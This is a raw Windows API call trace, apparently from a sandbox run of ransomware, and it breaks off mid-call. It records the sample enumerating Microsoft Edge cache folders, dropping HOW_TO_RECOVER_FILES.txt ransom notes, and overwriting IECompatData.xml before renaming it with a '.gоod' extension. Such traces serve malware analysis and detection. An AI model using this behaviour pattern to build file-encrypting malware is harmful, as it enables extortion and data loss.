SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed0c0) returned 1 [0198.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed080) returned 1 [0198.910] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList\\container.dat", nBufferLength=0x105, lpBuffer=0x1fbeca60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList\\container.dat", lpFilePart=0x0) returned 0x6a [0198.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecf30) returned 1 [0198.910] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_emieuserlist\\container.dat"), fInfoLevelId=0x0, lpFileInformation=0x3938a88 | out: lpFileInformation=0x3938a88*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x92b04223, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92b04223, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92b04223, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0198.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecef0) returned 1 [0198.911] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList\\container.dat", nBufferLength=0x105, lpBuffer=0x1fbec8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList\\container.dat", lpFilePart=0x0) returned 0x6a [0198.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecde0) returned 1 [0198.911] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_emieuserlist\\container.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x848 [0198.911] GetFileType (hFile=0x848) returned 0x1 [0198.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecd50) returned 1 [0198.911] GetFileType (hFile=0x848) returned 0x1 [0198.911] GetFileSize (in: hFile=0x848, lpFileSizeHigh=0x1fbecf88 | out: lpFileSizeHigh=0x1fbecf88*=0x0) returned 0x0 [0198.911] CloseHandle (hObject=0x848) returned 1 [0199.702] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList\\container.dat", nBufferLength=0x105, lpBuffer=0x1fbec8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList\\container.dat", lpFilePart=0x0) returned 0x6a [0199.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecde0) returned 1 [0199.702] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_emieuserlist\\container.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0199.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbe97d0) returned 1 [0199.705] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x75 [0199.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed0f0) returned 1 [0199.705] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_emieuserlist\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x84c [0199.706] GetFileType (hFile=0x84c) returned 0x1 [0199.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed060) returned 1 [0199.706] GetFileType (hFile=0x84c) returned 0x1 [0199.707] WriteFile (in: hFile=0x84c, lpBuffer=0x39b2820*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbed1b8, lpOverlapped=0x0 | out: lpBuffer=0x39b2820*, lpNumberOfBytesWritten=0x1fbed1b8*=0x5d0, lpOverlapped=0x0) returned 1 [0199.708] CloseHandle (hObject=0x84c) returned 1 [0199.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed180) returned 1 [0199.708] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat", nBufferLength=0x105, lpBuffer=0x1fbecc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat", lpFilePart=0x0) returned 0x58 [0199.708] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\*", lpFindFileData=0x1fbecea0 | out: lpFindFileData=0x1fbecea0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe0889c9e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec30da0 [0199.709] FindNextFileW (in: hFindFile=0x1ec30da0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe0889c9e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.709] FindNextFileW (in: hFindFile=0x1ec30da0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf542405, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf542405, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf542405, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0199.709] FindNextFileW (in: hFindFile=0x1ec30da0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe0889c9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x31bb6535, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x132e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="IECompatData.xml", cAlternateFileName="IECOMP~1.XML")) returned 1 [0199.709] FindNextFileW (in: hFindFile=0x1ec30da0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0199.709] FindClose (in: hFindFile=0x1ec30da0 | out: hFindFile=0x1ec30da0) returned 1 [0199.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed0c0) returned 1 [0199.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed080) returned 1 [0199.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed180) returned 1 [0199.709] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat", nBufferLength=0x105, lpBuffer=0x1fbecc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat", lpFilePart=0x0) returned 0x58 [0199.710] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\*", lpFindFileData=0x1fbecea0 | out: lpFindFileData=0x1fbecea0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe0889c9e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec307a0 [0199.710] FindNextFileW (in: hFindFile=0x1ec307a0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe0889c9e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.710] FindNextFileW (in: hFindFile=0x1ec307a0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf542405, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf542405, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf542405, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0199.710] FindNextFileW (in: hFindFile=0x1ec307a0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe0889c9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x31bb6535, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x132e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="IECompatData.xml", cAlternateFileName="IECOMP~1.XML")) returned 1 [0199.710] FindNextFileW (in: hFindFile=0x1ec307a0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe0889c9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x31bb6535, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x132e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="IECompatData.xml", cAlternateFileName="IECOMP~1.XML")) returned 0 [0199.710] FindClose (in: hFindFile=0x1ec307a0 | out: hFindFile=0x1ec307a0) returned 1 [0199.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed0c0) returned 1 [0199.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed080) returned 1 [0199.711] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\container.dat", nBufferLength=0x105, lpBuffer=0x1fbeca60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\container.dat", lpFilePart=0x0) returned 0x66 [0199.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecf30) returned 1 [0199.711] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompat\\container.dat"), fInfoLevelId=0x0, lpFileInformation=0x39c2620 | out: lpFileInformation=0x39c2620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf542405, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf542405, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf542405, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0199.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecef0) returned 1 [0199.711] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\container.dat", nBufferLength=0x105, lpBuffer=0x1fbec8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\container.dat", lpFilePart=0x0) returned 0x66 [0199.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecde0) returned 1 [0199.711] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompat\\container.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x84c [0199.711] GetFileType (hFile=0x84c) returned 0x1 [0199.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecd50) returned 1 [0199.711] GetFileType (hFile=0x84c) returned 0x1 [0199.711] GetFileSize (in: hFile=0x84c, lpFileSizeHigh=0x1fbecf88 | out: lpFileSizeHigh=0x1fbecf88*=0x0) returned 0x0 [0199.711] CloseHandle (hObject=0x84c) returned 1 [0202.794] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\container.dat", nBufferLength=0x105, lpBuffer=0x1fbec8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\container.dat", lpFilePart=0x0) returned 0x66 [0202.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecde0) returned 1 [0202.794] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompat\\container.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbe97d0) returned 1 [0202.797] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml", nBufferLength=0x105, lpBuffer=0x1fbeca60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml", lpFilePart=0x0) returned 0x69 [0202.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecf30) returned 1 [0202.797] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompat\\iecompatdata.xml"), fInfoLevelId=0x0, lpFileInformation=0x3521aa8 | out: lpFileInformation=0x3521aa8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe0889c9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x31bb6535, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x132e5)) returned 1 [0203.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecef0) returned 1 [0203.165] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml", nBufferLength=0x105, lpBuffer=0x1fbec910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml", lpFilePart=0x0) returned 0x69 [0203.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbece30) returned 1 [0203.165] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompat\\iecompatdata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0203.165] GetFileType (hFile=0x478) returned 0x1 [0203.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecda0) returned 1 [0203.166] GetFileType (hFile=0x478) returned 0x1 [0203.166] SetFilePointer (in: hFile=0x478, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbecf88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbecf88*=0) returned 0x1000 [0203.166] ReadFile (in: hFile=0x478, lpBuffer=0x34f5fe0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbecf58, lpOverlapped=0x0 | out: lpBuffer=0x34f5fe0*, lpNumberOfBytesRead=0x1fbecf58*=0x1000, lpOverlapped=0x0) returned 1 [0203.167] CloseHandle (hObject=0x478) returned 1 [0203.167] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml", nBufferLength=0x105, lpBuffer=0x1fbec910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml", lpFilePart=0x0) returned 0x69 [0203.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbece30) returned 1 [0203.167] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompat\\iecompatdata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0203.167] GetFileType (hFile=0x478) returned 0x1 [0203.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecda0) returned 1 [0203.167] GetFileType (hFile=0x478) returned 0x1 [0203.168] SetFilePointer (in: hFile=0x478, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbecf88*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbecf88*=0) returned 0x132e5 [0203.168] WriteFile (in: hFile=0x478, lpBuffer=0x34f72c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbece78, lpOverlapped=0x0 | out: lpBuffer=0x34f72c8*, lpNumberOfBytesWritten=0x1fbece78*=0x10, lpOverlapped=0x0) returned 1 [0203.169] CloseHandle (hObject=0x478) returned 1 [0203.169] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml", nBufferLength=0x105, lpBuffer=0x1fbec910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml", lpFilePart=0x0) returned 0x69 [0203.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbece30) returned 1 [0203.169] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompat\\iecompatdata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0203.169] GetFileType (hFile=0x478) returned 0x1 [0203.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecda0) returned 1 [0203.169] GetFileType (hFile=0x478) returned 0x1 [0203.169] ReadFile (in: hFile=0x478, lpBuffer=0x34f95d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbecf08, lpOverlapped=0x0 | out: lpBuffer=0x34f95d8*, lpNumberOfBytesRead=0x1fbecf08*=0x1000, lpOverlapped=0x0) returned 1 [0203.196] CloseHandle (hObject=0x478) returned 1 [0203.196] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml", nBufferLength=0x105, lpBuffer=0x1fbec910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml", lpFilePart=0x0) returned 0x69 [0203.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbece30) returned 1 [0203.196] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompat\\iecompatdata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0203.197] GetFileType (hFile=0x478) returned 0x1 [0203.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecda0) returned 1 [0203.197] GetFileType (hFile=0x478) returned 0x1 [0203.197] WriteFile (in: hFile=0x478, lpBuffer=0x34f82e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbecfb8, lpOverlapped=0x0 | out: lpBuffer=0x34f82e0*, lpNumberOfBytesWritten=0x1fbecfb8*=0x1010, lpOverlapped=0x0) returned 1 [0203.197] CloseHandle (hObject=0x478) returned 1 [0203.197] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml", nBufferLength=0x105, lpBuffer=0x1fbeca60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml", lpFilePart=0x0) returned 0x69 [0203.197] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbeca60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml.gоod", lpFilePart=0x0) returned 0x6e [0203.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecef0) returned 1 [0203.197] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompat\\iecompatdata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbecfd0 | out: lpFileInformation=0x1fbecfd0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe0889c9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x755348fa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x132f5)) returned 1 [0203.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeceb0) returned 1 [0203.197] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompat\\iecompatdata.xml"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompat\\iecompatdata.xml.gоod")) returned 1 [0203.198] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbecbd0, lpFilePart=0x0 | out: 